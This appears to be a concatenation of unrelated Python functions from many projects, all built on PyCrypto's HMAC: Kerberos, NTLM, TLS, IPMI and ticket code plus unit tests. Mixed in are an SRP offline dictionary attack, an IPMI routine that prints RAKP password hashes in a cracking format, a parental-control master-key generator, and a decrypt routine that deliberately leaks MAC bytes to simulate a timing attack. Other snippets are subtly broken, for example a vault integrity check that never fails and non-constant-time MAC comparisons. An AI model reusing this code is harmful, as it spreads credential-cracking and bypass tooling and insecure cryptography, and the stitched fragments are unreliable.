def encrypt(self, data): if self.initialized == 0 and self.is_server == False: taddr = self.proto.factory.tun.addr taddr_hash = SHA384.new(taddr).digest() iv = Random.new().read(AES.block_size) salt = Random.new().read(SALT_LEN) passwd = self.proto.factory.passwd self.key = PBKDF2(passwd, salt, dkLen=AES_KEYLEN*2, count=PBKDF2_ITERATIONS) self.aes_e = AES.new(self.key[:AES_KEYLEN], AES.MODE_CFB, iv) self.aes_d = AES.new(self.key[AES_KEYLEN:], AES.MODE_CFB, iv) data = iv+self.aes_e.encrypt(data) tag = HMAC.new(self.key, msg=data, digestmod=SHA384).digest()[:SHA384_LEN] data = taddr_hash+salt+data+tag self.initialized = 1 else: data = self.aes_e.encrypt(data) tag = HMAC.new(self.key, msg=data, digestmod=SHA384).digest()[:SHA384_LEN] data = data+tag return data
def runTest(self): key = b"0" * 16 data = b"\x00\x01\x02" # Data and key can be a bytearray (during initialization) key_ba = bytearray(key) data_ba = bytearray(data) h1 = HMAC.new(key, data) h2 = HMAC.new(key_ba, data_ba) key_ba[:1] = b'\xFF' data_ba[:1] = b'\xFF' self.assertEqual(h1.digest(), h2.digest()) # Data can be a bytearray (during operation) key_ba = bytearray(key) data_ba = bytearray(data) h1 = HMAC.new(key) h2 = HMAC.new(key) h1.update(data) h2.update(data_ba) data_ba[:1] = b'\xFF' self.assertEqual(h1.digest(), h2.digest())
def GSS_GetMIC(self, sessionKey, data, sequenceNumber, direction="init"): GSS_GETMIC_HEADER = "\x60\x23\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02" token = self.MIC() # Let's pad the data pad = (4 - (len(data) % 4)) & 0x3 padStr = chr(pad) * pad data = data + padStr token["SGN_ALG"] = GSS_HMAC if direction == "init": token["SND_SEQ"] = struct.pack(">L", sequenceNumber) + "\x00" * 4 else: token["SND_SEQ"] = struct.pack(">L", sequenceNumber) + "\xff" * 4 Ksign = HMAC.new(sessionKey.contents, "signaturekey\0", MD5).digest() Sgn_Cksum = MD5.new(struct.pack("<L", 15) + str(token)[:8] + data).digest() Sgn_Cksum = HMAC.new(Ksign, Sgn_Cksum, MD5).digest() token["SGN_CKSUM"] = Sgn_Cksum[:8] Kseq = HMAC.new(sessionKey.contents, struct.pack("<L", 0), MD5).digest() Kseq = HMAC.new(Kseq, token["SGN_CKSUM"], MD5).digest() token["SND_SEQ"] = ARC4.new(Kseq).encrypt(token["SND_SEQ"]) finalData = GSS_GETMIC_HEADER + token.getData() return finalData
def __init_crypto(self, pms, client_random, server_random, explicit_iv): self.master_secret = self.prf.get_bytes(pms, TLSPRF.TLS_MD_MASTER_SECRET_CONST, client_random + server_random, num_bytes=48) key_block = self.prf.get_bytes(self.master_secret, TLSPRF.TLS_MD_KEY_EXPANSION_CONST, server_random + client_random, num_bytes=2*(self.mac_key_length + self.cipher_key_length + self.iv_length) ) self.__init_key_material(key_block, explicit_iv) self.cipher_mode = self.negotiated_crypto_param["cipher"]["mode"] self.cipher_type = self.negotiated_crypto_param["cipher"]["type"] self.hash_type = self.negotiated_crypto_param["hash"]["type"] # Block ciphers if self.cipher_mode is not None: self.__client_enc_cipher = self.cipher_type.new(self.client_write_key, mode=self.cipher_mode, IV=self.client_write_IV) self.__client_dec_cipher = self.cipher_type.new(self.client_write_key, mode=self.cipher_mode, IV=self.client_write_IV) self.__server_enc_cipher = self.cipher_type.new(self.server_write_key, mode=self.cipher_mode, IV=self.server_write_IV) self.__server_dec_cipher = self.cipher_type.new(self.server_write_key, mode=self.cipher_mode, IV=self.server_write_IV) # Stream ciphers else: self.__client_enc_cipher = self.cipher_type.new(self.client_write_key) self.__client_dec_cipher = self.cipher_type.new(self.client_write_key) self.__server_enc_cipher = self.cipher_type.new(self.server_write_key) self.__server_dec_cipher = self.cipher_type.new(self.server_write_key) self.__client_hmac = HMAC.new(self.client_write_MAC_key, digestmod=self.hash_type) self.__server_hmac = HMAC.new(self.server_write_MAC_key, digestmod=self.hash_type)
def decrypt(enc_message, key): h = HMAC.new(b'Key generation') h.update(bytes(key + ' this is a salt', 'ascii')) aes_key = h.digest() # Get the IV from the message iv = enc_message[0:16] cipher = AES.new(aes_key, AES.MODE_CBC, iv) decr_message = cipher.decrypt(enc_message[16:]) mac = decr_message[-16:] plaintext = decr_message[:-16] # Compute the MAC h = HMAC.new(aes_key) h.update(plaintext) computed_mac = h.digest() # If the computed MAC equals the ciphertext MAC, return the plaintext if computed_mac == mac: return plaintext # Simulates the timing attack # return 1 if the two MACs differ but share the same first byte # return 2 if the two MACs differ but share the same first two bytes if computed_mac[0] == mac[0]: return 2 if computed_mac[1] == mac[1] else 1 return 0
def _derive_key(self, key, magic): hash1 = HMAC.new(key, magic, SHA).digest() hash2 = HMAC.new(key, hash1 + magic, SHA).digest() hash3 = HMAC.new(key, hash1, SHA).digest() hash4 = HMAC.new(key, hash3 + magic, SHA).digest() return hash2 + hash4[0:4]
def _get_bytes(self, digest, key, label, random, num_bytes): bytes_ = "" block = HMAC.new(key=key, msg="%s%s" % (label, random), digestmod=digest).digest() while len(bytes_) < num_bytes: bytes_ += HMAC.new(key=key, msg="%s%s%s" % (block, label, random), digestmod=digest).digest() block = HMAC.new(key=key, msg=block, digestmod=digest).digest() return bytes_[:num_bytes]
def GSS_GetMIC(self, sessionKey, data, sequenceNumber, direction = 'init'): GSS_GETMIC_HEADER = '\x60\x23\x06\x09\x2a\x86\x48\x86\xf7\x12\x01\x02\x02' token = self.MIC() # Let's pad the data pad = (8 - (len(data) % 8)) & 0x7 padStr = chr(pad) * pad data = data + padStr token['SGN_ALG'] = GSS_HMAC if direction == 'init': token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + '\x00'*4 else: token['SND_SEQ'] = struct.pack('>L', sequenceNumber) + '\xff'*4 Ksign = HMAC.new(sessionKey.contents, 'signaturekey\0', MD5).digest() Sgn_Cksum = MD5.new( struct.pack('<L',15) + str(token)[:8] + data).digest() Sgn_Cksum = HMAC.new(Ksign, Sgn_Cksum, MD5).digest() token['SGN_CKSUM'] = Sgn_Cksum[:8] Kseq = HMAC.new(sessionKey.contents, struct.pack('<L',0), MD5).digest() Kseq = HMAC.new(Kseq, token['SGN_CKSUM'], MD5).digest() token['SND_SEQ'] = ARC4.new(Kseq).encrypt(token['SND_SEQ']) finalData = GSS_GETMIC_HEADER + token.getData() return finalData
def doshit(): IV_LENGTH = 16 HMAC_KEY_LENGTH = 32 AES_KEY_LENGTH = 16 HMACKey = mycrypto.strong_random(HMAC_KEY_LENGTH) AESKey = mycrypto.strong_random(AES_KEY_LENGTH) IV = mycrypto.strong_random(IV_LENGTH) state = mycrypto.strong_random(112) aes = AES.new(AESKey, mode=AES.MODE_CBC, IV=IV) encrypted = mycrypto.strong_random(80) cryptedState = aes.encrypt(state) # Authenticate ticket name, IV and the encrypted state. hmac = HMAC.new(HMACKey, IV + \ cryptedState, digestmod=SHA256).digest() ticket = IV + cryptedState + hmac hmac = HMAC.new(HMACKey, ticket, digestmod=SHA256).digest() # Decrypt ticket to obtain state. aes = AES.new(AESKey, mode=AES.MODE_CBC, IV=ticket[0:16]) plainTicket = aes.decrypt(ticket)
def runTest(self): key = b"0" * 16 data = b"\x00\x01\x02" def get_mv_ro(data): return memoryview(data) def get_mv_rw(data): return memoryview(bytearray(data)) for get_mv in (get_mv_ro, get_mv_rw): # Data and key can be a memoryview (during initialization) key_mv = get_mv(key) data_mv = get_mv(data) h1 = HMAC.new(key, data) h2 = HMAC.new(key_mv, data_mv) if not data_mv.readonly: key_mv[:1] = b'\xFF' data_mv[:1] = b'\xFF' self.assertEqual(h1.digest(), h2.digest()) # Data can be a memoryview (during operation) data_mv = get_mv(data) h1 = HMAC.new(key) h2 = HMAC.new(key) h1.update(data) h2.update(data_mv) if not data_mv.readonly: data_mv[:1] = b'\xFF' self.assertEqual(h1.digest(), h2.digest())
def encrypt(cls, key, keyusage, plaintext, confounder): if confounder is None: confounder = get_random_bytes(8) ki = HMAC.new(key.contents, cls.usage_str(keyusage), MD5).digest() cksum = HMAC.new(ki, confounder + plaintext, MD5).digest() ke = HMAC.new(ki, cksum, MD5).digest() return cksum + ARC4.new(ke).encrypt(confounder + plaintext)
def main(): assert(normal() == True) N = 0xEEAF0AB9ADB38DD69C33F80AFA8FC5E86072618775FF3C0B9EA2314C9C256576D674DF7496EA81D3383B4813D692C6E0E0D5D8E250B98BE48E495C1D6089DAD15DC7D7B46154D6B6CE8EF4AD69B15D4982559B297BCF1885C529F566660E57EC68EDBC3C05726CC02FD4CBF4976EAA9AFD5138FE8376435B9FC61D2FC0EB06E3 g = 2 k = 3 salt = 0 word_dict = [b'password', b'12345', b'abcdefg', b'test123', b'poc', b'as123434faw', b'dog', b'cat', b'atleast15', b'orsomethinglikethat', b'kfjasda', b'badpw', b'shadow!!!!'] P = choice(word_dict) I = b'username' # the lazy way! S = {} C = {} S["salt"] = salt C["a"] = randint(1, 0xFFFFFFFF) C["I"] = I S["I"] = C["I"] C["A"] = fast_pow(g, C["a"], N) S["A"] = C["A"] S["b"] = 2 S["B"] = fast_pow(g, S["b"], N) S["u"] = 1 C["salt"] = S["salt"] C["B"] = S["B"] C["u"] = S["u"] hasher = SHA256.new() hasher.update(bytes(format(salt, 'x'), 'ascii') + P) C["x"] = hasher.hexdigest() C["S"] = fast_pow(C["B"], (C["a"] + C["u"] * int(C["x"], 16)), N) hasher = SHA256.new() hasher.update(bytes(format(C["S"], 'x'), 'ascii')) C["K"] = hasher.hexdigest() hasher = HMAC.new(bytes(C["K"], 'ascii'), bytes(format(C["salt"], 'x'), 'ascii'), SHA256) C["hmac"] = hasher.hexdigest() for word in word_dict: hasher = SHA256.new() hasher.update(bytes(format(salt, 'x'), 'ascii') + word) S["x"] = hasher.hexdigest() S["v"] = fast_pow(g, int(S["x"], 16), N) S["S"] = fast_pow(S["A"] * fast_pow(S["v"], S["u"], N), S["b"], N) hasher = SHA256.new() hasher.update(bytes(format(S["S"], 'x'), 'ascii')) S["K"] = hasher.hexdigest() hasher = HMAC.new(bytes(S["K"], 'ascii'), bytes(format(S["salt"], 'x'), 'ascii'), SHA256) S["hmac"] = hasher.hexdigest() #S->C Send "OK" if HMAC-SHA256(K, salt) validates if S["hmac"] == C["hmac"]: print('win') break
def encrypt(etype, key, msg_type, data): if etype != RC4_HMAC: raise NotImplementedError('Only RC4-HMAC supported!') k1 = HMAC.new(key, pack('<I', msg_type)).digest() data = random_bytes(8) + data chksum = HMAC.new(k1, data).digest() k3 = HMAC.new(k1, chksum).digest() return chksum + ARC4.new(k3).encrypt(data)
def _got_rakp2(self,data): if not (self.sessioncontext in ('EXPECTINGRAKP2','EXPECTINGRAKP4')): return -9 #if we are not expecting rakp2, ignore. In a retry #scenario, replying from stale RAKP2 after sending #RAKP3 seems to be best if data[0] != self.rmcptag: #ignore mismatched tags for retry logic return -9 if data[1] != 0: #if not successful, consider next move if data[1] == 2: #invalid sessionid 99% of the time means a retry #scenario invalidated an in-flight transaction return if data[1] in rmcp_codes: errstr=rmcp_codes[data[1]] else: errstr="Unrecognized RMCP code %d"%data[1] call_with_optional_args(self.onlogon, {'error': errstr+" in RAKP2"}, self.onlogonargs) return -9 localsid=unpack("<I",pack("4B",*data[4:8]))[0] if localsid != self.localsid: return -9 #discard mismatch in the session identifier self.remoterandombytes = pack("16B",*data[8:24]) self.remoteguid=pack("16B",*data[24:40]) userlen=len(self.userid) hmacdata=pack("<II",localsid,self.pendingsessionid)+\ self.randombytes+self.remoterandombytes+self.remoteguid+\ pack("2B",self.privlevel,userlen)+\ self.userid import binascii expectedhash = HMAC.new(self.password,hmacdata,SHA).digest() givenhash = pack("%dB"%len(data[40:]),*data[40:]) hash = binascii.hexlify(hmacdata) salt = binascii.hexlify(givenhash) print "%s@%s:$rakp$%s$%s" % (self.userid, self.bmc, binascii.hexlify(hmacdata), binascii.hexlify(givenhash)) if givenhash != expectedhash: self.sessioncontext = 'FAILED' self.logged = True # dirty hack self.nowait=False self._cleanup() return -9 self.nowait=False return 0 #We have now validated that the BMC and client agree on password, time #to store the keys self.sik=HMAC.new(self.kg, self.randombytes+self.remoterandombytes+ pack("2B",self.privlevel,userlen)+ self.userid,SHA).digest() self.k1=HMAC.new(self.sik,'\x01'*20,SHA).digest() self.k2=HMAC.new(self.sik,'\x02'*20,SHA).digest() self.aeskey=self.k2[0:16] self.sessioncontext="EXPECTINGRAKP4" self._send_rakp3()
def runTest(self): key = b"\x90\x91\x92\x93" * 4 payload = b"\x00" * 100 for hashname, hashmod in self.hashmods.items(): if hashmod is None: continue self.description = "Test HMAC in combination with " + hashname one = HMAC.new(key, payload, hashmod).digest() two = HMAC.new(key, payload, hashmod.new()).digest() self.assertEqual(one, two)
def _got_rakp2(self, data): if data[16] != self._rmcptag: # use rmcp tag to track and reject stale responses logging.warning("!rmcptag") return False if data[17] != 0: # response code if data[17] in (9, 0xd) and self._privlevel == 4: # Here the situation is likely that the peer didn't want # us to use Operator. Degrade to operator and try again self._initsession() self._privlevel = 3 return True if data[17] == 2: # invalid sessionid 99% of the time means a retry # scenario invalidated an in-flight transaction self._initsession() return True logging.warning('%s %s %s %s' % (self._host, self._userid, "err_rakp2", self.rmcp_codes.get(data[17], 'Unrecognized RMCP code %d' % data[17]))) # data[17] === 13 -> incorrect password self._relog() return False localsid = unpack('<I', pack('4B', *data[20:24]))[0] if self._localsid != localsid: return False self._remoterandombytes = pack('16B',*data[24:40]) self._remoteguid = pack('16B',*data[40:56]) userlen = len(self._userid) hmacdata = pack("<I4B", localsid, *self._pendingsessionid)+\ self._randombytes + self._remoterandombytes + self._remoteguid+\ pack('2B', self._privlevel, userlen) +\ self._userid expectedhash = HMAC.new(self._passwd, hmacdata, SHA).digest() givenhash = pack('%dB' % len(data[56:]),*data[56:]) if givenhash != expectedhash: logging.warning("%s %s" % (self._host, "Incorrect password provided")) self.disconnect() return False #We have now validated that the BMC and client agree on password, time #to store the keys self._sik = HMAC.new(self._kg, self._randombytes + self._remoterandombytes + pack('2B', self._privlevel, userlen)+ self._userid, SHA).digest() self._k1 = HMAC.new(self._sik, b'\x01'*20, SHA).digest() self._k2 = HMAC.new(self._sik, b'\x02'*20, SHA).digest() self._aeskey = self._k2[0:16] self._send = self._send_rakp3 return True
def decrypt(etype, key, msg_type, encrypted): if etype != RC4_HMAC: raise NotImplementedError('Only RC4-HMAC supported!') chksum = encrypted[:16] data = encrypted[16:] k1 = HMAC.new(key, pack('<I', msg_type)).digest() k3 = HMAC.new(k1, chksum).digest() data = ARC4.new(k3).decrypt(data) if HMAC.new(k1, data).digest() != chksum: raise ValueError('Decryption failed! (checksum error)') return data[8:]
def p_hash(self, secret, seed): a_i = seed # i=0 ''' 1) ##############i=0 hmac_hash(secret, seed+seed) + i=1 hmac_hash(secret, hmac_hash(secret, seed) +seed) + i=2 hmac_hash(secret, hmac_hash(secret, ''' #start at i=1 while True: a_i = HMAC.new(key=secret, msg=a_i, digestmod=self.algorithm).digest() # i=1 yield HMAC.new(key=secret, msg=a_i+seed, digestmod=self.algorithm).digest()
def lmntchallengeresponse(self): responseKeyNT = self.ntowfv2() responseKeyLM = self.lmowfv2() ## LMv2 lmchallengeresp = HMAC.new(responseKeyLM, self.serverChallenge + self.clientChallenge).digest() + self.clientChallenge ## NTv2 timestamp = self.getNTTimestamp() temp = '\x01\x01'+'\x00'*6+pack('<Q',timestamp)+self.clientChallenge+'\x00'*4+self.targetInfo+'\x00'*4 ntproofstr = HMAC.new(responseKeyNT, self.serverChallenge + temp).digest() ntchallengeresp = ntproofstr + temp #sessionKey = HMAC.new(responseKeyNT, ntproofstr).digest() return (lmchallengeresp, ntchallengeresp)
def decrypt( ticket, srvState ): """ Decrypts, verifies and returns the given `ticket'. The key material used to verify the ticket is contained in `srvState'. First, the HMAC over the ticket is verified. If it is valid, the ticket is decrypted. Finally, a `ProtocolState()' object containing the master key and the ticket's issue date is returned. If any of these steps fail, `None' is returned. """ assert (ticket is not None) and (len(ticket) == const.TICKET_LENGTH) assert (srvState.hmacKey is not None) and (srvState.aesKey is not None) log.debug("Attempting to decrypt and verify ticket.") checkKeys(srvState) # Verify the ticket's authenticity before decrypting. hmac = HMAC.new(srvState.hmacKey, ticket[0:80], digestmod=SHA256).digest() if util.isValidHMAC(hmac, ticket[80:const.TICKET_LENGTH], srvState.hmacKey): aesKey = srvState.aesKey else: if srvState.oldHmacKey is None: return None # Was the HMAC created using the rotated key material? oldHmac = HMAC.new(srvState.oldHmacKey, ticket[0:80], digestmod=SHA256).digest() if util.isValidHMAC(oldHmac, ticket[80:const.TICKET_LENGTH], srvState.oldHmacKey): aesKey = srvState.oldAesKey else: return None # Decrypt the ticket to extract the state information. aes = AES.new(aesKey, mode=AES.MODE_CBC, IV=ticket[0:const.TICKET_AES_CBC_IV_LENGTH]) plainTicket = aes.decrypt(ticket[const.TICKET_AES_CBC_IV_LENGTH:80]) issueDate = struct.unpack('I', plainTicket[0:4])[0] identifier = plainTicket[4:22] masterKey = plainTicket[22:54] if not (identifier == const.TICKET_IDENTIFIER): log.error("The ticket's HMAC is valid but the identifier is invalid. " "The ticket could be corrupt.") return None return ProtocolState(masterKey, issueDate=issueDate)
def _got_rakp2(self, data): if not (self.sessioncontext in ('EXPECTINGRAKP2', 'EXPECTINGRAKP4')): return -9 # if we are not expecting rakp2, ignore. In a retry # scenario, replying from stale RAKP2 after sending # RAKP3 seems to be best if data[0] != self.rmcptag: # ignore mismatched tags for retry logic return -9 if data[1] != 0: # if not successful, consider next move if data[1] == 2: # invalid sessionid 99% of the time means a retry # scenario invalidated an in-flight transaction return if data[1] in constants.rmcp_codes: errstr = constants.rmcp_codes[data[1]] else: errstr = "Unrecognized RMCP code %d" % data[1] call_with_optional_args(self.onlogon, {'error': errstr + " in RAKP2"}, self.onlogonargs) return -9 localsid = struct.unpack("<I", struct.pack("4B", *data[4:8]))[0] if localsid != self.localsid: return -9 # discard mismatch in the session identifier self.remoterandombytes = struct.pack("16B", *data[8:24]) self.remoteguid = struct.pack("16B", *data[24:40]) userlen = len(self.userid) hmacdata = struct.pack("<II", localsid, self.pendingsessionid) +\ self.randombytes + self.remoterandombytes + self.remoteguid +\ struct.pack("2B", self.privlevel, userlen) +\ self.userid expectedhash = HMAC.new(self.password, hmacdata, SHA).digest() givenhash = struct.pack("%dB" % len(data[40:]), *data[40:]) if givenhash != expectedhash: self.sessioncontext = "FAILED" call_with_optional_args(self.onlogon, {'error': "Incorrect password provided"}, self.onlogonargs) return -9 # We have now validated that the BMC and client agree on password, time # to store the keys self.sik = HMAC.new(self.kg, self.randombytes + self.remoterandombytes + struct.pack("2B", self.privlevel, userlen) + self.userid, SHA).digest() self.k1 = HMAC.new(self.sik, '\x01' * 20, SHA).digest() self.k2 = HMAC.new(self.sik, '\x02' * 20, SHA).digest() self.aeskey = self.k2[0:16] self.sessioncontext = "EXPECTINGRAKP4" self.lastpayload = None self._send_rakp3()
def _startEncryption(self): # check signature, decrypt self.enc fields = ( self.byteformat.pack(P_ACKNOWLEDGE_SERVICE), self.enc, self.eniv, self.biscuit, self.fingerprint, self.cookie ) if not self.keymanager.verify(''.join(fields), self.signature, self.hostkey): raise InvalidSignatureException('Server failed to sign message') # decrypt the server biscuit and secret key ensecret = self.keymanager.decrypt(self.enc) # generate cipher parameters for the server's packets desecret = self.prng.read(Z_SECRET_KEY_LENGTH) deiv = self.prng.read(self.cipherscheme.block_size) # start up the ciphers for enc/dec mode = self.cipherscheme.MODE_CBC self.encipher = self.cipherscheme.new(ensecret, mode, self.eniv) self.decipher = self.cipherscheme.new(desecret, mode, deiv) # sequence numbers self.enseqno = 0 self.deseqno = 0 # authenticity self.ehmac = HMAC.new(ensecret, digestmod=SHA256) self.dhmac = HMAC.new(desecret, digestmod=SHA256) # update with IV self.ehmac.update(self.eniv) self.dhmac.update(deiv) # send the encryption start packet fields = ( P_REQUEST_ENCRYPTION_START, self.keymanager.encrypt(desecret, self.hostkey), deiv ) packetformat = Struct('!B256s%ds' % self.cipherscheme.block_size) packet = packetformat.pack(*fields) # sign this message signature = self.keymanager.sign(packet + self.biscuit) # send it self.sock.send(packet + signature) # redirect function pointer self.parseBuffer = self._unpackPackets # enter interactive mode self.r_cwd = '' if not self.config.target: self.command()
def mbi_crypt(self, nonce): WINCRYPT_CRYPT_MODE_CBC = 1 WINCRYPT_CALC_3DES = 0x6603 WINCRYPT_CALC_SHA1 = 0x8004 # Read key and generate two derived keys key1 = base64.b64decode(self.proof_token) key2 = self._derive_key(key1, "WS-SecureConversationSESSION KEY HASH") key3 = self._derive_key(key1, "WS-SecureConversationSESSION KEY ENCRYPTION") # Create a HMAC-SHA-1 hash of nonce using key2 hash = HMAC.new(key2, nonce, SHA).digest() # # Encrypt nonce with DES3 using key3 # # IV (Initialization Vector): 8 bytes of random data iv = randpool.RandomPool().get_bytes(8) obj = DES3.new(key3, DES3.MODE_CBC, iv) # XXX: win32's Crypt API seems to pad the input with 0x08 bytes # to align on 72/36/18/9 boundary ciph = obj.encrypt(nonce + "\x08\x08\x08\x08\x08\x08\x08\x08") blob = struct.pack("<LLLLLLL", 28, WINCRYPT_CRYPT_MODE_CBC, WINCRYPT_CALC_3DES, WINCRYPT_CALC_SHA1, len(iv), len(hash), len(ciph)) blob += iv + hash + ciph return base64.b64encode(blob)
def decrypt_gen_aead_AES128CBC_HMACSHA256(key, n, iv, content): # Split the key into encryption and authentication halves assert( len(key) == 16 + SHA256.digest_size ) ke = key[-16:] ka = key[:-16] # Split the encrypted content and integrity check S = content[:-SHA256.digest_size] T = content[-SHA256.digest_size:] # Verify the MAC hmac = HMAC.new(ka, digestmod=SHA256) ln = struct.pack("!q", len(n)) la = struct.pack("!q", 0) hmac.update(n + S + ln + la) Tp = hmac.digest() if Tp != T: raise Exception("Integrity check failed") # Decrypt the contents cipher = AES.new(ke, AES.MODE_CBC, iv) pcontent = cipher.decrypt(S) # Trim the padding lp = struct.unpack("B", content[-1])[0] pcontent = pcontent[:-lp] return pcontent
def write_logfile(log_filename, auth_token, logfile_pt): # Compress the plaintext log file logfile_pt = zlib.compress(logfile_pt, 5) # Generate the encryption and hmac keys from the token encrypt_key, hmac_key = generate_keys(auth_token) # Set-up the counter for AES CTR-mode cipher ctr_iv = urandom(16) ctr = Counter.new(128, initial_value=long(ctr_iv.encode('hex'),16)) # AES is 128 bits (16 bytes) logfile_ct = ctr_iv.encode('hex') # Create the cipher object cipher = AES.new(encrypt_key.decode('hex'), AES.MODE_CTR, counter=ctr) # Encrypt the plain text log and add it to the logfile cipher text # which currently contains the IV for AES CTR mode logfile_ct = logfile_ct + cipher.encrypt(logfile_pt) # Use the 2nd half of the hashed token to sign the cipher text # version of the logfile using a MAC (message authentication code) hmac_obj = HMAC.new(hmac_key.decode('hex'), logfile_ct) mac = hmac_obj.hexdigest() # Add the mac to the encrypted log file logfile_ct = logfile_ct + mac # Write the signed and encrypted log file to disk. # The caller should handle an IO exception with open(log_filename, 'wb') as f: f.write(logfile_ct) return None
def encrypt_gen_aead_AES128CBC_HMACSHA256(key, n, iv, content): # Split the key into encryption and authentication halves assert( len(key) == 16 + SHA256.digest_size ) ke = key[-16:] ka = key[:-16] # Pad the content x = AES.block_size - (len(content) % AES.block_size) if x == 0: x = AES.block_size econtent = content + (struct.pack("B",x) * x) # Compute the encrypted body assert( len(iv) == AES.block_size ) cipher = AES.new(ke, AES.MODE_CBC, iv) S = cipher.encrypt(econtent) # Compute the authentication value hmac = HMAC.new(ka, digestmod=SHA256) ln = struct.pack("!q", len(n)) la = struct.pack("!q", 0) hmac.update(n + S + ln + la) T = hmac.digest() return S + T
def hmac(message, key): """ Returns the Hash Message Authentication Code for a given message, providing integrity and authenticity assurances. """ h = HMAC.new(to_bytes(key), to_bytes(message), digestmod=SHA256) return h.hexdigest()
def decrypt_hash(edata, nlkm, ch): hmac_md5 = HMAC.new(nlkm, ch) rc4key = hmac_md5.digest() rc4 = ARC4.new(rc4key) data = rc4.encrypt(edata) return data
def receiveMessage(self): if self.connection is None or self._role is None: return ("No connection exists.", -3) try: data = self.connection.recv(self.__buffer_size) if data is not None and len(data) > 0: if self.__decrypt_cipher is not None: authenticator, data = data[0:64], data[64:] #the first half of any post-handshake message will be a 64-byte hex string of the authenticator, then the rest is the message reauthentication_hasher = HMAC.new(self.__auth_recv_hmac, digestmod=SHA256.new()) reauthentication_hasher.update(data) reauthentication_hasher.update(str(self.__num_msg_recv)) reauthenticator = reauthentication_hasher.hexdigest() if not self.__constant_time_equality(authenticator, reauthenticator): return ("Authentication of message failed.", -4) self.__num_msg_recv += 1 data = self.__decrypt_cipher.decrypt(base64.b64decode(data)) if "\x02" in data: #the data was a list of message components, reconstruct the list as the return value #note that this should only happen during chat transport, when the decryption cipher is valid #\x02 bytes could appear during key exchange as well, which we do not want to alter, so this transform #only occurs when the encryption system is fully functioning and set up data = data.split("\x02") with open("x.txt", "w") as log: log.write(str(len(data)) + "\n") return (data, 0) else: return ("No connection.", -1) except Exception: return ("No data recieved.", -2)
def _aesDecrypt(bundle): ''' Decrypt Target Encrypted Bundle ''' # Get Decryption Keys # key_dict = _getKeyPair() aes_key = str(key_dict['aes_key']).rstrip('\n') hmac_key = str(key_dict['hmac_key']).rstrip('\n') # Get Cipher Text # with open(bundle, 'r') as fh_: cipher_text = fh_.read() # Decrypt Cipher Text # header = cipher_text[:32] data = cipher_text[32:] aes_tag = data[:AES.block_size] aes_body = data[AES.block_size:] aes = AES.new(aes_key, AES.MODE_CFB, aes_tag) plain_text = aes.decrypt(aes_body) # Compare HMAC for Data Integrity # hmac_tag = HMAC.new(hmac_key, data, SHA256).digest() hmac_check = 0 for char1, char2 in zip(aes_tag, hmac_tag): hmac_check != ord(char1) ^ ord(char2) # Decompress Vault # if hmac_check == 0: plain_text = json.loads(str(zlib.decompress(plain_text).decode('utf-8'))) return json.dumps(plain_text, sort_keys=True, indent=2, separators=(',', ':')) else: return 'Digest mismatch - vault integrity compromised!'
def _generate_v1_v2(self, props, inquiry, month, day): algorithm = props["algorithm"] traits = props["traits"] if self._data_path and not os.path.isdir(self._data_path): self._data_path = None if not self._data_path: raise ValueError( "v1/v2 attempted, but data directory doesn't exist or was not specified." ) # # Extract key ID fields from inquiry number. # If this system uses masterkey.bin, there is an AES key for the region which is also required. # This key is used to decrypt the encrypted HMAC key stored in masterkey.bin. See below. # region = int((inquiry / 1000000000) % 10) version = int((inquiry / 10000000) % 100) # # The v2 algorithm uses a masterkey.bin file that can be updated independently of the rest of the system, # avoiding the need for recompiling the parental controls application. The format consists of an ID field, # used to identify the required key files for the user's inquiry number, a HMAC key encrypted using AES-128-CTR, # and the AES counter value for decrypting it. # Obviously, what is missing from this list is the AES key itself, unique to each region, which is usually # hardcoded within the parental controls application (i.e. .rodata). # # The 3DS implementation stores the masterkey.bin file in the CVer title, which is updated anyway for every # system update (it also contains the user-facing system version number). The AES key is stored in mset # (System Settings) .rodata. # # The Wii U implementation does away with the masterkey.bin versioning, and uses a masterkey.bin that does # not change between system versions (though still between regions). This comes from a dedicated title for # each region that is still at v0. The Wii U AES keys are stored in pcl (Parental Controls) .rodata. # As a result, the unused ("version") digits in the inquiry number are extra console-unique filler # (derived from MAC address). # if algorithm == "v2": if "no-versions" in traits: file_name = props["mkey_file"] % region else: file_name = props["mkey_file"] % (region, version) (mkey_region, mkey_version, mkey_ctr, mkey_hmac_key) = self._read_mkey_file(file_name) file_name = props["aes_file"] % region mkey_aes_key = self._read_aes_key(file_name) # # The 3DS-only v1 algorithm uses a raw HMAC key stored in mset .rodata. # No encryption is used for this. Similar to v2 on Wii U, the version field is unused. # The unused ("version") digits again are extra console-unique filler (derived from MAC address). # This was short-lived, and corresponds to system versions 7.0.0 and 7.1.0. # else: file_name = props["hmac_file"] % region mkey_hmac_key = self._read_hmac_key(file_name) if self._dbg: print("") # # If v2, we must decrypt the HMAC key using an AES key from .rodata. # The HMAC key is encrypted in masterkey.bin (offset 0x20->0x40) using AES-128-CTR. # The counter is also stored in masterkey.bin (offset 0x10->0x20). # if algorithm == "v2": # Verify the region field. if mkey_region != region: raise ValueError( "%s has an incorrect region field (expected 0x%02X, got 0x%02X)." % file_name, region, mkey_region) # Verify the version field. if mkey_version != version and "no-versions" not in traits: raise ValueError( "%s has an incorrect version field (expected 0x%02X, got 0x%02X)." % file_name, version, mkey_version) if self._dbg: print("AES key:") self._hexdump(mkey_aes_key) print("AES counter:") self._hexdump(mkey_ctr) print("Encrypted HMAC key:") self._hexdump(mkey_hmac_key) # Decrypt the HMAC key. ctr = Counter.new(128, initial_value=bytes_to_long(mkey_ctr)) ctx = AES.new(mkey_aes_key, AES.MODE_CTR, counter=ctr) mkey_hmac_key = ctx.decrypt(mkey_hmac_key) # Create the input buffer. inbuf = "%02u%02u%010u" % (month, day, inquiry % 10000000000) inbuf = inbuf.encode("ascii") if self._dbg: print("HMAC key:") self._hexdump(mkey_hmac_key) print("Hash input:") self._hexdump(inbuf) outbuf = HMAC.new(mkey_hmac_key, inbuf, digestmod=SHA256).digest() if self._dbg: print("Hash output:") self._hexdump(outbuf) # Wii U is big endian. if "big-endian" in traits: output = struct.unpack_from(">I", outbuf)[0] else: output = struct.unpack_from("<I", outbuf)[0] if self._dbg: print("Output word: %u.\n" % output) # Truncate to 5 decimal digits to form the final master key. master_key = output % 100000 return "%05d" % master_key
def prf(p, s): return HMAC.new(p, s, SHA1).digest()
def hmacsha256_as_hex(key, plain_text): h = HMAC.new(key.encode("UTF8"), digestmod = SHA256) h.update(plain_text.encode("UTF8")) return h.hexdigest()
def sign(self, msg, key): h = HMAC.new(key, msg, digestmod=self.digest) return h.digest()
